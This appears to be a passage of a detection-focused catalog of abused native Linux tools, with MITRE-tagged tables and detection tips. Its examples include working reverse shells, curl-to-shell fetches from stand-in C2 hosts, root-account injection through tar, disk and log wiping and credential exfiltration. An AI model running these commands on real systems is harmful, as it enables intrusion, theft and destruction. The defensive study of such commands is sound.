- gawk's `/inet/tcp/0/host/port` pseudo-files open real TCP sockets, a full interactive shell with zero binary on disk; `system("cmd")` runs shell commands; `-v var=` injects variables.
- Detection: auditd EXECVE of awk/gawk containing `/inet/` or `BEGIN{`; `ss -tnp/lsof` showing an awk process with an established outbound connection; zeek/EDR network logs of awk→external IP; parent chain `bash → awk → socket`.

chattr, persistence hardening

```
chattr +i /etc/cron.d/pwn      # immutable: no writes/deletes even by root until -i
chattr +a /var/log/syslog      # append-only: cannot be truncated or rotated
lsattr -a /var/log             # attacker verifies flags stuck
```

- `+i` blocks all modification; `+a` permits only append; `-i/-a` strip them. Flags fail silently on tmpfs/overlayfs, so a host-level `chattr` on `/tmp` or `/dev/shm` targeting real ext4 volumes is the actual risk.
- Detection: auditd on the `chattr` syscall (`auditctl -w /usr/bin/chattr -p x` or `-S chattr`); EDR file-attribute-change events; a cron entry or log that admin tools cannot modify is itself the alert; run periodic `lsattr -R` sweeps.

chmod, execution & setuid escalation

```
chmod 4755 /tmp/.sh            # rwsr-xr-x: runs with file owner's UID (often root)
cp /bin/sh /tmp/x && chmod 4755 /tmp/x  # classic root-shell-for-cracked-account chain
chmod 777 /var/www/html/       # world-writable webroot for further drops
```

- The `4` (and `2`) octal privilege bits set `setuid/setgid`; `setuid` on a root-owned copy of `sh/bash` yields a root shell; `+x` on dropped payloads is the exec enabler.
- Detection: `find / -perm -4000 2>/dev/null` sweeps for new `setuid` files; auditd EXECVE of `chmod` with `4755/777`; FIM (aide/tripwire) on mode-bit changes; EDR alerting on `chmod` of files in `/tmp`, `/dev/shm`, or `/var/www`.

dd, raw access, exfil & destruction

```
dd if=/dev/urandom of=/var/log/auth.log bs=512      # obliterate log contents
dd if=/dev/sda of=/tmp/disk.img bs=1M count=512     # raw disk copy for exfil (T1005)
dd if=/dev/zero of=/dev/sda bs=4M                  # destroy filesystem (T1485)
```

- Reads/writes block devices and file targets directly, bypassing normal app-level telemetry; `conv=noerror,sync` continues past bad blocks; `count=/skip=` grab selected extents.
- Detection: `lsdf/lslocks` showing a non-root or unexpected process with `/dev/sd*` open; auditd open/read/write of block devices by non-storage services; EDR/kernel raw block I/O from odd parents; outbound transfer of large `.img/.raw` files from `/tmp`.

cp, timestamp masking & staging

```
cp -p /etc/hosts /tmp/.cache/hosts      # -p preserves mtime/atime → timestamped copy
cp -a /bin/sh /tmp/.s                    # -a archive: mode, ownership, times all copied
cp /root/.ssh/authorized_keys /tmp/x     # stage credentials for exfil
```

- `-p/-a` replicate source timestamps so dropped files age-match benign files; FIM watching only content hashes misses `-p` copies entirely.

- Detection: auditd EXECVE with `cp -p/-a` args; FIM on newly appeared files whose mtime precedes birth (ctime) or predates the container/instance; stat divergence between birth and mtime.

shred, anti-forensic deletion

```
shred -z -u -n 5 /var/log/secure      # 5 random passes + final zero pass, then unlink
shred -z /dev/sda                    # wipe entire disk
```

- Overwrites contents (defeating recovery) then `-u` unlinks; `-z` appends a zero pass. Ineffective on journaled filesystems/SSDs per its own man page, so any use on logs is deliberate anti-forensics, not clean-up.
- Detection: auditd EXECVE of shred; inotify delete events; EDR file-overwrite/block-write telemetry on log paths or devices from non-backup processes; disk forensics will still find residual sectors on SSD wear-leveling.

find, discovery & -exec abuse

```
find / -perm -4000 2>/dev/null          # setuid hunt → privesc recon
find / -name "*shadow*" -o -name "*key*" 2>/dev/null  # credential file hunt
find /tmp -type f -exec sh -c 'curl -s http://x/t | sh' {} \; # exec per match
```

- `-perm -4000` lists setuid binaries for escalation candidates; `-exec/-execdir` runs commands per match, a scriptless way to execute; `2>/dev/null` suppresses permission noise to stay quiet.
- Detection: auditd EXECVE of find with `-exec`, `-perm`, or credential-name patterns; EDR process tree bash → find → sh/curl; correlated burst of permission-denied stat/open syscalls (permission probing).

In, symlink credential access

```
ln -s /etc/shadow /tmp/usr/.cache/shadow # read shadow via /tmp path
ln -sf /dev/sda /var/www/html/disk       # expose raw disk through webroot
ln -sf /root/.ssh/authorized_keys /tmp/k # hijack or expose keys
```

- `-s` creates a symlink that dereferences the target regardless of the path used; `-f` clobbers existing files, enabling symlink-race file-overwrite attacks in writable dirs.
- Detection: inotify/FANOTIFY on `/tmp` and webroots for symlink creation; EDR file-create events of type symlink pointing at `/etc/shadow`, `/dev/sd*`, `/proc/kcore`; auditd on the symlink syscall; quick `find /tmp -lname "*shadow*" -o -lname "*kcore*" sweeps`.

Section 2 (cont. 3): Linux Native Tool Catalog, Coreutils M-S, Suspicious Parameters

Scope: GNU coreutils + standard base utilities (M-S). `awk/sed/grep` ship natively as `gawk/mawk` & GNU `sed/grep` (not coreutils package, still standard); `egrep/fgrep` are legacy aliases deprecated in GNU `grep` 3.8 (2022), still present on most distros, now with obsolescence warnings.

Special Files & Shell Channels

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
<code>mkfifo</code>	Create named pipe (FIFO) for IPC	<code>mkfifo -m 777 /tmp/.f</code> ; paths like <code>/tmp/.x</code> , <code>/dev/shm/f</code>	FIFO wired to <code>sh -i + nc</code> = bidirectional interactive reverse shell; <code>tmpfs//dev/shm</code> path evades disk forensics	T1059.004, T1105
<code>mknod</code>	Create FIFO/char/block device nodes	<code>mknod /tmp/x p</code> ; <code>mknod /dev/sda b 8 0</code> ; <code>mknod /tmp/f c 1 3</code>	<code>p</code> type = same FIFO-shell channel as <code>mkfifo</code> ; as root, raw block node reads raw disk (<code>dump /etc/shadow</code> , containers, deleted data) bypassing file-level audit	T1005, T1059.004

Filesystem Manipulation, Timestamps & Destruction

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
<code>touch</code>	Create empty file / update timestamps	<code>-a</code> , <code>-m</code> , <code>-c</code> , <code>-d STR</code> , <code>-t [[CC]YY]MMDDhhmm[.ss]</code> , <code>-r FILE</code>	Timestamp dropped binaries to look old/legit; <code>-r</code> clones a trusted file's times; <code>-c</code> avoids creating tell-tale new files	T1070.006
<code>truncate</code>	Resize file to a given size	<code>truncate -s 0 FILE</code> ; <code>-s -1K</code> ; <code>-c</code>	Silent log wipe: shrinks <code>/var/log/*</code> to 0 bytes without delete (misses delete-based rules); <code>-s</code> with a big size pre-allocates sparse files for disk-fill DoS	T1070.002, T1485
<code>mkdir</code>	Create directories	<code>-p</code> , hidden dot names (<code>.x</code>), <code>/dev/shm/</code> , <code>/tmp/...</code>	Staging dirs for dropped tools/data; dot-prefixed names dodge visual review	T1074.001, T1036
<code>mktemp</code>	Create unique temp file/dir	<code>-d</code> , <code>-p DIR</code>	Scratch space for payloads in <code>/tmp//dev/shm</code> (<code>tmpfs</code> = no disk artifact); <code>-p</code> places it near legit app dirs	T1105, T1074.001
<code>mv</code>	Move / rename files	<code>mv /tmp/x /usr/bin/sshd-fix</code> , <code>mv file .hidden</code> , <code>-f</code> , <code>-T</code>	Masquerading: rename dropped binary to a legit-looking name; relocate evidence/logs; <code>-T</code> clobbers target file in place	T1036, T1070.004
<code>rm</code>	Delete files/directories	<code>-rf</code> , <code>-f</code> , <code>rm -rf /var/log/</code> , <code>rm -f ~/.bash_history</code>	Wipe logs, tools, history, persistence keys in one shot; <code>-f</code> suppresses errors inside loops	T1070.004, T1070.003, T1485
<code>shred</code>	Overwrite file contents (secure delete)	<code>-u</code> , <code>-n 7</code> , <code>-z</code>	Anti-forensic destruction of logs/evidence: multi-pass overwrite + zero-fill + unlink; files unrecoverable	T1485, T1070.004

Reconnaissance & Enumeration

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
<code>ls</code>	List directory contents	<code>-a</code> , <code>-la</code> , <code>-R</code> , <code>-i</code>	Directory/credential-file discovery; <code>-R</code> mass-enumerates webroots, backups, shares; <code>-i</code> maps inodes for hardlink tricks	T1083
<code>stat</code>	Display file/fs metadata	<code>stat -c '%n %s %Y' TARGET</code> ; <code>-f</code>	Bulk-metadata collection; check <code>/etc/shadow</code> perms before read; verify timestamps before/after tampering	T1082, T1083

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
find	Search files by name/perm/time/size	-exec, -execdir, -ok, -delete, -perm -4000, -perm -o w, -newermt, -printf	Enumerate setuid/world-writable/credential files; -exec/-execdir = arbitrary command execution per match; -delete = mass destruction	T1083, T1059.004, T1070.004
wc	Count lines/words/bytes	-l, -c, -w	Count accounts via /etc/passwd; size collected files to plan exfil chunking	T1083, T1552.001
md5sum	Compute MD5 checksums	md5sum <binary>	Verify dropped payload integrity/hash-match before execution; fingerprint host binaries during lateral movement	T1082
sha256sum	Compute SHA-256 checksums	sha256sum <binary>	Same as md5sum with stronger hash; check tool version parity across hosts	T1082

Text Processing & Data Handling

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
grep	Regex text search	-r, -R, -i, -E, -l, -o, -P	Credential/secret hunting across /etc /home /opt /var/www; SSH-key & API-token discovery; -o extracts clean match strings for exfil	T1552.001, T1083
egrep	Extended-regex grep alias, legacy (deprecated in GNU grep 3.8)	-r, -i, -l	Identical credential-hunting behavior to grep -E; legacy surface often missed by alerting	T1552.001
fgrep	Fixed-string grep alias, legacy (deprecated in GNU grep 3.8)	-r, -F, -l	Literal-string search over credential/log files; no regex escaping needed	T1552.001
awk	Field-oriented text processing language	-F: , \$3==0 uid=0 test, BEGIN{system(...)}, -v	Parse /etc/passwd /etc/shadow /authorized_keys for creds; BEGIN{system()} executes shell at startup (incl. reverse shells)	T1059.004, T1552.001
sed	Stream editor, in-place editing	-i, -i.bak, -n 'addr p', -e	-i rewrites logs to erase attacker lines; inject/alter /etc/shadow, hosts, ssh config; read files without cat	T1070.002, T1552.001
tr	Translate/delete characters	tr -d, tr -s, tr -cd, case-shift a-z A-Z	Strip newlines/CR from base64 payloads; decode/deobfuscate shell strings; shift case to dodge case-sensitive signatures	T1027, T1552.001
cut	Extract fields/columns per line	cut -d: -f1 /etc/passwd; -c	User enumeration from passwd/shadow; field-parsing of stolen structured data	T1083, T1552.001
head	Print first N lines/bytes	-n, -c	Read head of /etc/shadow, configs, or raw devices (root) before exfil	T1552.001, T1005
tail	Print last N lines / follow file	-f, -n, -c	tail -f auth.log to watch live logins (piggyback on admin sessions); tail of credential files; offset reading	T1552.001, T1083
sort	Sort lines of text	-u, -t: -k3 -n	Normalize collected passwd/shadow dumps; pipeline prep for exfil	T1552.001
uniq	Filter/emit duplicate lines	-c, -d, -u	Dedupe/tally stolen data; -c counting in recon dumps	T1552.001

Command Execution & Chaining

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
xargs	Build & run command lines from stdin	-0, -n1, -I{}, -P, -d	Execution engine for one-liners: xargs curl/sh/wget/rm per line; -0 defeats escaping; -P parallelizes mass ops	T1059.004, T1105

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
split	Split file into fixed-size pieces	-b 10M, -l, -d	Chunk large stolen data to slip under DLP/size thresholds during exfil (parts p.00, p.01...)	T1030
sleep	Pause execution N seconds	sleep 60, sleep 999999	Insert delays to defeat sandboxes/EDR timeouts; C2 jitter; keep cron-persistence loops alive	T1053.003, T1059.004

DETAIL BLOCKS, most-abused tools

mkfifo, named-pipe reverse shell

```
mkfifo /tmp/.f; sh -i < /tmp/.f 2>&1 | nc 10.0.0.5 4444 > /tmp/.f
```

- The FIFO is the channel: `sh -i` reads commands from the pipe, `nc` carries them. `-m 777` loosens mode for dropped privileges; `/dev/shm` = tmpfs, no disk artifact.
- Detection: Sysmon-for-Linux EID 1 process tree `sh -c "mkfifo ..."` spawning `sh -i + nc`; auditd EXECVE records; FIFO (file type `p`) creation under `/tmp//dev/shm` via auditd watch; parent typically webserver/cron if spawned via webshell or persistence.

touch, timestomping

```
touch -r /etc/ssh/sshd_config /tmp/payload && touch -a -m -d "2024-01-01 00:00" /tmp/payload
```

- `-r` clones mtime/atime from a legit file; `-a/-m` stamp one field only; `-d/-t` set an arbitrary date. Result: dropped file blends into baseline.
- Detection: compare mtime vs ctime, changing mtime leaves ctime at now; auditd file-write watches; Sysmon-for-Linux EID 11 file-create showing old timestamps; SIEM rule "file created recently with timestamp years old".

find, enumeration + execution

```
find / -perm -4000 2>/dev/null # setuid binaries
find / -type f -name "id_rsa*" 2>/dev/null
find /tmp -type f -exec sh -c 'base64 < "$1" >> /tmp/x' _ {} \;
```

- `-perm -4000` / `-perm -o w` hunt privilege-escalation targets; `-exec/-execdir` run arbitrary commands per match, near-0 legit usage outside maintenance; `-delete` mass-destroys.
- Detection: cmdline regex `find .* -exec|-execdir|-delete`; EDR child process of `find` is a shell; auditd EXECVE records; Sysmon-for-Linux EID 1.

xargs, execution engine

```
cat /tmp/hosts.txt | xargs -n1 -P20 curl -s http://c2/beaton # or: xargs -I{} sh -c "{}"
find /tmp -type f -print0 | xargs -0 rm -f
```

- `-0` handles null-delimited (unusual for non-forensics use), `-n` chunk size, `-P` fan-out, `-I{}` substitution, composes loops that fetch/execute/delete per line.
- Detection: process tree `xargs → curl|sh|wget|rm`; auditd EXECVE; many short-lived identical child processes (EID 1 bursts); `-P` parallelism spikes process counts.

grep, credential hunting

```
grep -r -i -E "(passwd|password|secret|token|api[_]?key)" /etc /home /opt /var/www 2>/dev/null
grep -R "BEGIN [A-Z ]*PRIVATE KEY" / 2>/dev/null
```

- `-r/-R` recursive (R follows symlinks), `-i` case-insensitive, `-E` extended regex, `-l` file list only, `-o` prints only match text, clean extraction for staging/exfil.

- Detection: EDR cmdline signatures for `grep -r pass|secret|PRIVATE KEY`; auditd watch on `/etc/shadow//root`; syscall `openat` bursts across sensitive dirs (auditd).

awk, parsing + shell execution

```
awk -F: '$3==0 {print $1}' /etc/passwd # list uid-0 accounts
awk 'BEGIN{system("bash -i >& /dev/tcp/10.0.0.5/4444 0>&1")}'
```

- `-F`: field-parses `passwd/shadow` for account/credential enumeration; `BEGIN{system()}` executes a shell command before any input, a real reverse-shell primitive and payload trigger.
- Detection: cmdline contains `awk ... BEGIN|system(`; outbound TCP whose parent process is `awk` (Sysmon-for-Linux EID 3); auditd `EXECVE` records.

sed, log tampering / file rewrite

```
sed -i '/10\.\0\.\0\.\5/d' /var/log/auth.log /var/log/secure
sed -i 's|^root:.*|root:$6$salt$hash:19000:0:99999:7:::|' /etc/shadow
```

- `-i` edits in place (optionally `-i.bak`); address/p forms (`-n '1,5p'`) read ranges without `cat`; `-e` chains scripts. Removes attacker lines from logs or swaps shadow hashes.
- Detection: auditd `truncate/write` records on `/var/log`; `chattr +i` immutable logs defeat it; SIEM/log-collector gap exactly at intrusion window; `/etc/shadow` `mtime` change; EDR file-write events.

rm, evidence destruction

```
rm -rf /var/log/ /tmp/tools /root/.bash_history; rm -f /root/.ssh/authorized_keys
```

- `-f` suppresses errors, `-r` recursive, one-shot wipe of logs, tools, history, and persistence keys; deletes on live filesystems often leave data recoverable (that's why attackers then use `shred`).
- Detection: auditd `unlinkat/rmdir` syscall bursts; Sysmon-for-Linux EID 23 (FileDelete) / EID 26 (FileDeleteDetected); log stream cutoff timestamp = incident time; EDR telemetry for `rm -rf /var/log`.

shred, anti-forensic wipe

```
shred -zun 7 /var/log/auth.log /root/.bash_history /tmp/.cache
```

- `-z` final zero-fill pass, `-u` unlink after overwriting, `-n 7` overwrite passes. Best-effort on journaled/SSD filesystems but still marks deliberate destruction.
- Detection: auditd `open(O_WRONLY|O_TRUNC)` with abnormally high write counts on small files; EDR file-write volume anomaly; multiple evidence files with identical final-`mtime` clusters; forensic carve finds zeroed slack.

truncate, silent log zeroing

```
truncate -s 0 /var/log/auth.log /var/log/syslog /var/log/messages
```

- `-s 0` empties a file without unlinking, the file remains and delete-based detection rules never fire; `-s -1K` shaves trailing bytes; `-c` silently skips missing files.
- Detection: auditd `truncate` syscall records; SIEM gap where log stream goes silent; file size collapse to 0 with file still present; inode-size vs actual content mismatch in file-integrity (AIDE/auditd) checks.

Section 2 (cont. 4): Linux Native Tool Catalog, Coreutils T-Z & Archives, Suspicious Parameters

All tools below are native GNU/Unix (coreutils, util-linux, procs-ng, findutils, bsdmainutils); none are third-party. Package origin noted per row where relevant.

Reconnaissance & System Discovery

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
uname	Print kernel/system info	uname -a, uname -r, uname -m	Kernel/arch fingerprinting before exploit selection or payload compilation	T1082

File & Data Operations, Inspection & Extraction

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
strings	Extract printable text from binaries	strings -a -n 6 file, strings -e l	Pull URLs, credentials, configs from binaries/raw memory (16-bit little-endian too)	T1005
od	Octal/hex byte dump	od -A x -t x1z file	Byte-exact dump of binaries or forensic artifacts	T1005
hexdump	Hex dump (bsdmainutils, native)	hexdump -C -v file	Inspect binaries, carve hidden data; -v disables duplicate-line folding	T1005
xxd	Hex<->binary conversion	xxd -r -p, xxd -i	Reverse hex→binary to decode staged payloads into executables	T1140
tac	Print file reversed	tac /var/log/auth.log, tac -r	Read logs bottom-up (review last entries before log cleanup)	T1005
tail	Print last lines / follow file	tail -f /dev/null, tail -n 0 -f log	-f /dev/null = long-lived keep-alive dummy process	T1005

File & Data Operations, Transformation

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
tr	Translate/delete characters	tr -d '\0', tr 'A-Za-z' 'N-ZA-Mn-za-m', tr -d '\r'	rot13/char-shift decode, strip nulls or CRLF from malware blobs	T1140
sort	Sort lines	sort -u, sort -t: -k3 -n /etc/passwd	Dedupe/order harvested lists; locate UID 0 accounts	T1005
uniq	Report/omit repeated lines	uniq -c, uniq -d	Tally/filter collected data before staging	T1005
wc	Count lines/bytes	wc -l /etc/passwd, wc -c file	Count users/files; size-check exfil blobs before transfer	T1005
shuf	Random permutation	shuf -n 1 file, shuf -e a b c, shuf -i 1-100	Randomize target/user selection, non-deterministic malware behavior	T1005
split	Split file into pieces	split -b 100k secret.bin p_, split -l 500, -d	Chunk archives for size-limited or IDS-evading transfer	T1027
stdbuf	Change stdio buffering	stdbuf -o0 -e0 cmd, stdbuf -i0 sh -c '...'	Unbuffered streaming of malware output; GTF0Bins run vector	T1059

Download & Execution

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
env	Set env vars and run a program	env -i cmd, env -S 'cmd args', env LD_PRELOAD=/tmp/x.so cmd	Clean env evades env-based detections; LD_PRELOAD loader hijack; -S obfuscates argv	T1574

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
xargs	Build/run command lines from stdin (findutils, native)	xargs sh -c '...', xargs -0, xargs -P 16	Queue mass execution of staged commands; parallel jobs	T1059
timeout	Run command with a time limit	timeout 600 cmd, timeout -s KILL cmd, timeout -k 5 cmd	Bound payload runtimes (sandbox-aware timing, self-termination)	T1059
sleep	Delay	sleep 3600, sleep infinity	Time-based sandbox/AV evasion; scheduled execution delay	T1497.003
watch	Periodically run a command (procps-ng, native)	watch -n 60 -x curl -s ...	Beaconing/looping without writing a loop script; -x bypasses shell wrapper	T1059
nice	Adjust scheduling priority	nice -n 19 cmd	Throttle miners/bruteforcers below CPU-monitoring radar	T1059
renice	Alter running process priority (util-linux, native)	renice 19 -p <pid>, renice -n -20	Deprioritize EDR/monitoring processes (negative needs root)	T1562.001
nohup	Run immune to hangup signal	nohup ./x.sh >/dev/null 2>&1 &	Survive logout; suppress output of backgrounded malware	T1059
setsid	Run in a new session (util-linux, native)	setsid -f bash -c '...'	Detach from session/controlling TTY, immune to job control, survives session kill	T1059
script	Record a terminal session (util-linux, native)	script -q -c 'bash -i' /dev/null	PTY for interactive shells post-exploitation; session recording	T1059

Persistence & Services

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
install	Copy files with ownership/mode	install -m 4755 /tmp/x /usr/local/bin/y, install -D -m 0777 -o root	Drop binaries under misleading names with SUID/world-writable perms	T1105
touch	Update timestamps	touch -t 202301010000 file, touch -r /bin/ls file	Timestamp, forge mtime/atime to blend files into baseline	T1070.006
tee	Write stdin to stdout and files	curl ... tee /tmp/.c >/dev/null, cmd tee -a /var/log/x	Save payload while piping; append forged lines into logs	T1070

Data Staging, Compression & Exfiltration

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
gzip	Compress files	gzip -9 -c file, gzip -k file	Compress staged/exfiltrated data; -k keeps the original	T1560.001
gunzip	Decompress	gunzip -c file.gz	Decompress to stdout without touching disk (no artifacts)	T1140
zcat	Decompress to stdout	zcat file.gz	Read compressed logs/payloads in place	T1140
tar	Archive files	tar -czhf - /etc ssh h 'cat > d.tgz', tar --checkpoint=1 --checkpoint-action=exec=..., tar -xzf evil -C /tmp --to-command=sh	Stream-archive for exfil; RCE via checkpoint/ --to-command; -h dereferences symlinks	T1560.001
zip	Package/compress archives	zip -r -P pass out.zip dir, zip -e	Password-protected exfil archives evade DLP/string scanning	T1560.001
unzip	Extract archives	unzip -o evil.zip -d /var/www/html, unzip -p	Zip-slip traversal entries can write outside -d; overwrite web files	T1574
bzip2	Compress (block-sorting)	bzip2 -9 -k file	High-ratio compression of exfil data	T1560.001
xz	Compress (LZMA)	xz -9 -k file, xz -T0	Maximum-ratio compression of large dumps; multi-threaded	T1560.001

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
cpio	Copy in/out archives	<code>find /data cpio -o > d.cpio</code> , <code>cpio -idv < in.cpio</code>	Stage files for transfer; extraction may honor absolute paths (arbitrary write)	T1560.001

Integrity Verification (Checksums)

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
md5sum	MD5 digest	<code>md5sum file</code> , <code>md5sum -c sums</code>	Verify dropped-payload integrity; compare stolen files	T1005
sha1sum	SHA-1 digest	<code>sha1sum -c sums</code>	Same	T1005
sha256sum	SHA-256 digest	<code>sha256sum -c sums</code>	Same, typical payload-integrity pre-run check	T1005
sha512sum	SHA-512 digest	<code>sha512sum -c sums</code> (see also <code>b2sum</code>)	Same	T1005

Defense Evasion & Isolation (Namespaces/Containers)

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
unshare	Run in new namespaces (<code>util-linux</code> , native)	<code>unshare -r -m -p -f --mount-proc bash</code> , <code>unshare -n</code> , <code>unshare -U</code>	Namespace breakout; unprivileged fake-root via user ns; PID/mount hiding	T1611
nsenter	Enter another process's namespaces (<code>util-linux</code> , native)	<code>nsenter -t 1 -m -u -i -n -p sh</code> , <code>nsenter -t 1 -a bash</code>	Enter host/init namespaces, container escape, parent=PID1 laundering	T1611
chroot	Change root directory (<code>util-linux</code> , native)	<code>chroot /jail /bin/sh</code> , <code>chroot . /bin/sh</code>	Restricted FS view; breakout primitives (saved fd/fchdir) if already root	T1611

Process Synchronization

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
flock	Hold advisory file lock (<code>util-linux</code> , native)	<code>flock -n /var/lock/x -c 'cmd'</code> , <code>flock -w 5 /tmp/l -c 'cmd'</code>	Single-instance mutex for malware/coinminer to avoid duplicate detections	T1059

Detail Blocks, Most-Abused Tools

tar, Staging/exfiltration & RCE via checkpoint actions

```
tar -czhf - /etc/shadow /root/.ssh | ssh relay@10.0.0.5 'cat > d.tgz' # staged exfil, no disk file
tar --checkpoint=1 --checkpoint-action=exec="bash -c 'echo root::0:0::/root:/bin/bash >> /etc/passwd'" -cf /dev/null *
tar -xzf evil.tgz -C /tmp --to-command="sh" # run sh per extracted file
```

- `-c/-x` create/extract; `-z` gzip filter; `-f` - streams to/from stdout so data goes straight down a pipe (nothing lands on disk); `-h` dereferences symlinks (pulls in symlink targets); `-C` changes directory first; `--checkpoint=1 --checkpoint-action=exec=` executes an arbitrary command every record (GTF0Bins RCE); `--to-command=CMD` pipes each extracted file into CMD.
- Detect: auditd execve filter, `-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/tar -k tar_exec`; anomalous parent chain (tar spawned by apache/php/nginx); `--checkpoint-action` or `--to-command` visible in EXECVE argv / Sysmon-for-Linux event 1 command line; outbound transfer immediately after `tar -f -` with no local archive created.

unshare, Namespace/container breakout

```
unshare -r -p -m -f --mount-proc /bin/bash # user+pid+mount ns as namespace "root"
unshare -n /bin/bash # private network namespace (sockets invisible on host)
unshare -U -r /bin/sh # map uid 0 inside a new user namespace
```

- `-r/--map-root-user` maps the calling uid to root inside a new user namespace (unprivileged "root"); `-p` creates a PID namespace (`--fork` makes the child the ns init; `--mount-proc` remounts `/proc` so host processes are invisible); `-m` new mount namespace; `-n` new network namespace; `-U` new user namespace.
- Attackers use it for container breakout when seccomp allows `unshare`, to run as `namespace-root`, and to hide process siblings/mounts from host monitoring.
- Detect: kernel audit rules `-S unshare / -S setns`; container runtimes default-deny `unshare` via seccomp (look for audit SECCOMP violations); EDR process tree `webserver→unshare→bash`; `ausearch -sc unshare`.

nsenter, Enter host/init namespaces (canonical escape)

```
nsenter -t 1 -m -u -i -n -p /bin/sh -c 'curl -s 10.0.0.5/x.sh | sh' # shell in host namespace
nsenter -t 1 -a /bin/bash # join all namespaces of PID 1
```

- `-t` PID joins the namespaces of the target process, PID 1 (init) means host/container-root context; `-a` joins all; individual `-m -u -i -n -p` select mount/UTS/IPC/net/PID namespaces; requires root or `CAP_SYS_ADMIN`.
- The classic container-escape primitive when `nsenter` exists in the image or the attacker has `CAP_SYS_ADMIN`; also launders parentage, spawned children report PID 1 as parent.
- Detect: auditd `-S setns` and `execve` of `nsenter` with `-t 1` in argv; process tree showing `nsenter` under a web server; containerd/CRI-O audit events; EDR parentage flags.

chroot, Restricted root view & breakout attempts

```
chroot /jail /bin/sh -i # run shell with altered root view
chroot . /bin/bash -c 'cat /etc/shadow' # execute from cwd as root
# breakout: retain a dir fd before chroot, then fchdir out (needs root)
```

- `chroot DIR CMD` makes `DIR` the new `/` for `CMD`; requires root / `CAP_SYS_CHROOT`. Escape primitives exist when the operator also holds a directory file descriptor (`fchdir` back out) or misconfigured nested `chroots` exist, a classic breakout when the attacker is already root.
- Attackers use it to hide files/artifacts inside a `chroot` and to run "jailed" code that defenders expect to stay contained.
- Detect: auditd `-S chroot` (syscall 161 on x86_64); process ancestry showing `chroot` spawned by daemons; check `/proc/<pid>/root` symlink targets; EDR flags `CAP_SYS_CHROOT` holders spawning shells.

env, Clean-environment execution & LD_PRELOAD hijack

```
env -i LD_PRELOAD=/tmp/libpwn.so /usr/bin/sudo # dynamic-linker hijack (T1574.006)
env -i bash -i # bare env, evades env-var-based detections
env -S 'curl -s hxxp://10.0.0.5/x | bash' # string→argv obfuscated invocation
```

- `-i/--ignore-environment` wipes `SHELL/HOME/SSH_*` and other env vars that forensics and wrappers rely on; `-S` splits a single quoted string into argv (obscures intent in shell history, still visible in `/proc/PID/cmdline`); `VAR=value` assignments set arbitrary variables, notably `LD_PRELOAD/LD_LIBRARY_PATH` to hijack the loader on the next exec.
- Detect: auditd `EXECVE` record shows full argv (look for `env -i/-S` chains); inspect `/proc/*/environ` for `LD_PRELOAD`; run `readelf -d/ldd` on the preloaded lib; audit rule `-a always,exit -S execve -F exe=/usr/bin/env`; Sysmon-for-Linux event 1 with `env` as parent.

script, PTY acquisition & session capture

```
script -q -c "bash -i" /dev/null      # non-interactive TTY shell (post-exploit standard)
script -q -f /tmp/session.log        # record full session transcript
script -q -a /var/log/keep.log       # append typescript to an existing file
```

- `-q` quiet (no header lines); `-c` runs the command under a PTY, giving reverse shells and interactive tools the TTY they need (the `python -c 'import pty...'` alternative); `-f` flushes after every write (live capture); `-a` appends to an existing file instead of overwriting.
- Attackers use it to upgrade reverse shells to interactive TTYs and to record sessions for later replay/credential reuse.
- Detect: auditd execve of `script` with `-c` (exec chain `script→sh→bash`); Sysmon-for-Linux event 1; PTY allocation audit (tty field change, loginuid); unexpected `script` parented by `sshd/apache`.

tee, Payload drop & log forging

```
curl -s http://c2/x.sh | tee /tmp/.cache >/dev/null # drop payload while piping
echo 'Accepted publickey for root from 1.2.3.4' | tee -a /var/log/auth.log # forge log line
ss | tee /tmp/nets.txt # stage recon output to file
```

- `tee [file]` copies stdin to stdout AND each named file; `-a` appends (forging log lines without triggering truncation alarms); output files typically land in hidden dotdirs with benign names.
- Attackers use it in single-pipe "save and execute" chains (`... | tee f; sh f`), to write payloads without a separate download command, to plant false auth entries, and to stage collected data.
- Detect: auditd watch on log dirs (`-w /var/log -p wa`); fanotify/inotify file-write events to `/tmp`; EDR chain `curl→tee→sh`; log-integrity comparison (Klogctl / log shipping hashes).

Section 2 (cont. 5): Linux Native Tool Catalog, Network & Remote Tools, Suspicious Parameters

Download & Execution

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
curl	Transfer data from/to URLs	<code>-o /tmp/.x -O -k -s -S -e -A --referer --user-agent --proxy socks5:// -x -d @file --data-binary @file -F --upload-file -T -C - --max-time -r -o /dev/null -L --limit-rate -w "%{http_code}" --retry --retry-all-errors --cacert -K --config</code>	Staging second-stage payloads; <code>-o</code> to odd dotfile paths; <code>-k</code> skips TLS validation (evasion); <code>-s</code> hides progress (evasion); <code>--proxy</code> /SOCKS pivoting; POST via <code>-d/-F</code> for C2 beaconing and exfil; <code>-K</code> reads config (config-based abuse)	T1105, T1071.001, T1048, T1573, T1567, T1021
wget	Non-interactive download from URLs	<code>-O /tmp/.x --no-check-certificate -q -b --output-document -P -r -k -t 0 --post-data -e use_proxy=yes --execute= -i</code>	Staging payloads; <code>--no-check-certificate</code> bypasses TLS validation; <code>-q</code> quiet (evasion); <code>-i</code> reads URLs from a list (C2-driven bulk fetch); <code>-e/--execute</code> modifies config at runtime	T1105, T1071.001, T1048, T1573
